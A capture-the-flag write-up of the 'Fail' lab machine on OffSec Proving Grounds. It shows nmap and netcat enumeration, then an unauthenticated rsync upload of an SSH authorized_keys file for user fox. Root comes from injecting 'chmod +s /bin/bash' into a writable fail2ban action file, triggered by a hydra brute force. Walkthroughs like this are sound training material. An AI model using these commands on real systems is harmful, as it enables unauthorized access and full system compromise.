Fail - OSPG
Summary
In this writeup, we’ll acquire an initial access to the system via a misconfigured rsync share, which allows us to upload a .ssh key onto home directory of user fox. We’ll then escalate privilge by abusing a fail2ban configuration file to trigger arbitrary commands of our choice.
Attack Narrative
The attack is performed based upon three main phases:
- Enumeration.
- Exploitation.
- Privilege Escalation.
Enumeration
We’ll begin with a nmap scan.
$ sudo nmap --open -sV -A -p- -vv -n -Pn $IP
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
873/tcp open rsync syn-ack ttl 63 (protocol version 31)
We discover two running services: SSH and Rsyn.
The
rsyncservice will be the target of our investigations.
Rsync
Essentially, rsync or remote synchronization is a Unix-like service mainly for transferring and syncing files and directories between machines on the network.
Let’s us grab its banner and inspect if there is any interesting information.
$ nc -nv $IP 873
(UNKNOWN) [192.168.118.126] 873 (rsync) open
@RSYNCD: 31.0
- The version is
31.0. Yet, this is not a vulnerable version.
Rsync Shares
Further enumerating the service might reveals us all the shares that currently available for accessing.
$ nc -nv $IP 873
(UNKNOWN) [192.168.118.126] 873 (rsync) open
@RSYNCD: 31.0 -> Banner tells us version
@RSYNCD: 31.0 -> We then send them the same info
#list -> Enumerate the server
**fox fox home** -> End enumeration
@RSYNCD: EXIT -> The server closes connection
The results indicate that fox module is available for sharing, and fox home is a description potentially implying the home directory of fox user.
Normally, rsync requires authentication to access the file share, let’s us check if we need to authenticate. This can be done by simply entering fox, which is the name of the module.
$ nc -nv $IP 873
(UNKNOWN) [192.168.118.126] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
fox
@RSYNCD: OK
@RSYNCD: OK response means no authentication needed to access the share.
Now, we can list fox shares utilizing rsync utility:
$ rsync -av --list-only rsync://$IP/fox 1 ⨯
receiving incremental file list
drwxr-xr-x 4,096 2021/01/21 09:21:59 .
lrwxrwxrwx 9 2020/12/03 15:22:42 .bash_history -> /dev/null
-rw-r--r-- 220 2019/04/18 00:12:36 .bash_logout
-rw-r--r-- 3,526 2019/04/18 00:12:36 .bashrc
-rw-r--r-- 807 2019/04/18 00:12:36 .profile
sent 20 bytes received 136 bytes 44.57 bytes/sec
total size is 4,562 speedup is 29.24
This works perfectly, we can choose to further investigate those files. However, rsync provides an ability to upload files onto the share module.
Exploitation
Rsync Anonymous Upload
Knowing that we can upload files via rsync, we could then try to upload a SSH authorized_keys onto the fox share and SSH our way in as fox.
The steps take to reproduce the attack:
- Create a SSH key.
$ ssh-keygen -f fox_ssh Generating public/private rsa key pair. ... - Copy
fox_ssh.pubtoauthorized_keys.$ cp fox_ssh.pub authorized_keys - Upload the newly created
authorized_keysonto the target share.
$ rsync -av authorized_keys rsync://$IP/fox/.ssh
sending incremental file list
authorized_keys
sent 674 bytes received 35 bytes 202.57 bytes/sec
total size is 564 speedup is 0.80
After the authorized_keys file is uploaded, we are able to connect via SSH as fox.
Privilege Escalation
Fail2ban
It’s worth to notice our fox user is in the fail2ban group, and the fail2ban service is executed by root .
fox@fail:~$ id
uid=1000(fox) gid=1001(fox) groups=1001(fox),1000(fail2ban)
Any user belonging to the fail2ban group is able to modify the fail2ban configuration files. In order to achieve privilege escalation, we are particularly interested in the /etc/fail2ban/action.d/iptables-multiport.conf file.
fox@fail:~$ ls -al /etc/fail2ban/action.d/iptables-multiport.conf
-rw-rw-r-- 1 root fail2ban 1440 Aug 18 19:43 /etc/fail2ban/action.d/iptables-multiport.conf
The iptables-multiport.conf file enacts ban-action laws. Basically, it manipulates the iptables to ban any IP address that break the law by executing specific commands.
Fail2ban Abuse
Since we have write permission of the file iptables-multiport.conf, we should be able to control which command to run when the fail2ban is triggered.
All our jobs now are injecting a desired command that we want to be run by root, and triggering the fail2ban service.
$ nano /etc/fail2ban/action.d/iptables-multiport.conf
[...]
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>
chmod +s /bin/bash
[Init]
The command that we inject will grant /bin/bash a SUID permission.
Then we trigger fail2ban to execute our command by brute-forcing the SSH.
$ hydra -l fox -P /usr/share/wordlists/rockyou.txt ssh://$IP
[...]
[DATA] attacking ssh://192.168.118.126:22/
[ERROR] ssh target does not support password auth
After a few tries, we are banned by fail2ban, which indicates that our injected command should be triggered.
Now, if we inspect the /bin/bash file, we can see that it’s dressed up with a SUID bit.
fox@fail:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
Perfectly, we can then drop our root shell by executing the following command:
fox@fail:~$ /bin/bash -p
bash-5.0# whoami
root
and become root!.